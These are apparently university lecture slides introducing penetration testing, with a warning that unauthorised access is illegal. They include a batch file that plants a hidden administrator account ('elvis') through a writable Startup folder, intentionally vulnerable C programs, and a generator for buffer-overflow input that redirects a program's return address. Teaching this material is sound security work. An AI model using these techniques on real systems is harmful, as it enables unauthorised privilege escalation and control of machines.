9-PenTesting

advertisement
Introduction to Penetration Testing
• Elevating privileges
– Getting code run in a privileged context
•Exploiting misconfigurations
– File permissions
•Attacking services and applications
– Buffer overflows
Reminder – We Don't Teach
Why You Should Not Be an Attacker
People to be Attackers
• It is illegal:
– United States Code, Title 18, Section 1030 (and
others)
– USA Patriot Act, Homeland Security Act,
PROTECT Act
– www.cybercrime.gov
• Basically:
– Unauthorized access or use of a computer or
network system is illegal
– Unintentional attacks are illegal too
Privilege Escalation
• Goal: get instructions executed with higher
privileges than you have:
– Kernel
– Privileged application or service
– A setuid program
– A privileged user
Privilege Escalation – Example
• Windows host
• Guest access
– Can’t read secret word file
– Can’t write to:
• C:\Documents and Settings\Administrator
– Can write to:
• C:\Documents and Settings\All Users\Start
Menu\Programs\Startup
Privilege Escalation – Example (cont)
• A simple batch file:
net user elvis T!C!B!123 /add
net localgroup administrators elvis /add
• Place this program in C:\Documents and
Settings\AllUsers\StartMenu\Programs\Startup
• It will be executed by the administrator (with
administrator privileges) at the next logon
Privilege Escalation – Demo
• Demo
• Note:
– Could be noticed by the administrator
• During logon
• Recognizing the “elvis” account
– Worked because the C:\Documents and
Settings\AllUsers\StartMenu\Programs\Startup
directory was writeable
File Permissions – Example
• Windows host
• Guest access
– Can read registry
• Can see what programs run when users (including
admin) log on
– Can overwrite a program
File Permissions – Demo
• Demo
• Note:
– Could be noticed by the administrator
• During logon
– Worked because the C:\Program Files directory
was writeable
Buffer Overflows
• A buffer overflow involves putting more data into
a buffer than it has room to hold
• In some cases, the extra data overwrites other
items in memory after the buffer
• Overflowing a buffer may enable you to
change/control the flow of execution of the
program
What Does This Program Do?
#include <stdio.h>
void f() {
char buf[4];
int *ret;
ret = (int *) (buf + 8);
(*ret) += 7;
}
int main() {
int x=0;
f();
x=1;
printf("x=%d\n",x);
}
The Stack Segment
• A program’s stack segment:
– Temporary working space for the program
– Example: Subroutines
int foo(int P1, int P2) /* subroutine “foo” */
{
int L1, L2; /* local variables L1 and L2 */
L1 = P1 + P2;
return(L1); /* return value */
}
int main() /* main program */
{
…
x = foo(1,2); /* call to subroutine “foo” */
…
}
Stack Frames
Low Addresses
foo
Stack
frames
main
High Addresses
Stack
Stack Frames (cont)
• A stack frame contains the corresponding routine’s:
–
–
–
–
Parameters
Return address (i.e. next instruction to execute upon completion)
Saved registers
Local variables
• Many architectures have registers:
– SP, the stack pointer, points to the top of the stack
– BP, the base pointer, points to a fixed location within the frame
• Used to reference the procedure’s parameters and local variables
Stack Frames (cont)
• The main routine calls foo:
– foo’s parameters are first pushed onto the stack
– The next instruction in main to execute after foo finishes, the return
address, is pushed
– Control is transferred to foo
– foo’s prologue:
• Save caller’s (main’s) base pointer
• Set callee’s (foo’s) bp equal to the current sp
• Increment sp to reserve space on the stack for foo’s local vars (word aligned)
– foo’s instructions
– foo’s epilogue:
• Restore saved values and deallocate callee’s (foo’s) stack frame
Stack Frame - Example
int foo(int P1, int P2) /* subroutine “foo” */
{
int L1, L2; /* local variables L1 and L2 */
L1 = P1 + P2;
return(L1); /* return value */
}
int main() /* main program */
{
…
x = foo(1,2); /* call to subroutine “foo” */
…
}
Stack Frames – Example (cont)
• foo’s stack frame after the completion of the prologue:
SP
Low Addresses
L2
L1
main’s bp
return
address
P1
High Addresses
P2
stack
Foo’s BP
Ex1.c
#include <stdio.h>
void f() {
char buf[4];
int *ret;
ret = (int *) (buf + 8);
(*ret) += 7;
}
int main() {
int x=0;
f();
x=1; // This instruction is not being executed. Why?
printf("x=%d\n",x);
}
The Stack as f() Begins Execution
Low Addresses
ret
4
buf[0]
1
buf[1]
1
buf[2]
1
buf[3]
1
main’s bp
4
return
address
4
Main’s frame
High Addresses
stack
Ret points to the the return address on the stack
ret = (int *) (buf + 8);
Low Addresses
ret
4
buf[0]
1
buf[1]
1
buf[2]
1
buf[3]
1
main’s bp
4
return
address
4
Main’s frame
High Addresses
stack
buf
buf + 8
Ret points to the the return address on the stack
(*ret) += 7;
Low Addresses
ret
buf[0]
buf[1]
buf[2]
buf[3]
main’s bp
return
address + 7
Main’s frame
High Addresses
stack
Ex1.c (cont)
#include <stdio.h>
void f() {
char buf[4];
int *ret;
ret = (int *) (buf + 8);
(*ret) += 7;
}
int main() {
int x=0;
f();
x=1; // This instruction is being skipped because f() increments the return address
printf("x=%d\n",x); // This is the next instruction executed after f()
}
What Does This Program Do?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int a; char address[100];
void sub1 () {
char buf[4]; int *ret = (int *) (buf + 8);
a = strtol(address,NULL,16);
(*ret) = a;
}
void sub2 (void) {printf("Opps!\n"); exit(0);}
int main() {
sprintf(address,"%p",sub2);
sub1();
}
Ex2.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int a; char address[100];
void sub1 () {
char buf[4]; int *ret = (int *) (buf + 8); //ret points to the return address
a = strtol(address,NULL,16);
//a is the address of sub2()
(*ret) = a;
//put the address of sub2() in the return address
}
void sub2 (void) {printf("Opps!\n"); exit(0);}
int main() {
sprintf(address,"%p",sub2);
// Get the address of the sub2() function
sub1();
// Call sub1()
}
What Does This Program Do?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char input[100];
void sub1 () {
char buf[10] = "";
strcpy(buf, input);}
// fixed-size buffer
// copy input into buf whether it fits or not
void sub2 (void)
{printf("Opps!\n"); exit(0);}
int main() {
printf("Please enter some input (10 characters max, please):\n");
fgets(input,99,stdin);
sub1();}
What Can We Make it Do?
• Run normally
– Input “ABC”
What Can We Make it Do?
• Run normally
– Input “ABC”
What Else Can We Make it Do?
• Seg fault (overflow the buffer and overwrite ret. address)
Low Addresses
buf[0]
…
buf[9]
main’s bp
return
address
Main’s frame
High Addresses
stack
Still More We Can Make it Do
• Execute sub2()
– Know the address of sub2()
– Enter enough characters get to the return address on the
stack (overflow the buffer)
– Enter the address of sub2() so that it overwrites the return
address
• Problem #1: What is the address of sub2()?
• Problem #2: How many characters to enter to get to
the return address?
• Problem #3: How can we “enter” the address of
sub2()?
make_input.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char**argv) {
// construct an overflow string
char buf[1005];
if (argc !=3)
fprintf(stderr,"Usage: %s [offset] [return address in hex]\n",argv[0]);
else {
int a, offset = atoi(argv[1]);
for (int i=0; i<offset; i++)
// write offset A’s
buf[i]='A';
a = strtol(argv[2],NULL,16);
buf[offset]=a&0xFF; buf[offset+1]=((a&0xFF00)>>8); // write characters of ret. addr
buf[offset+2]=((a&0xFF0000)>>16); buf[offset+3]=((a&0xFF000000)>>24);
buf[offset+4]='\0';
fprintf(stdout,"%s\n",buf); } }
// output the constructed string
What Happened?
Low Addresses
buf[0]
A
…
…
buf[9]
A
main’s bp
AAAA
return
address
address of
sub2()
Main’s frame
Main’s frame
stack
stack
High Addresses
Summary
• Elevating privileges
– Getting code run in a privileged context
•Exploiting misconfigurations
– File permissions
•Attacking services and applications
– Buffer overflows
Download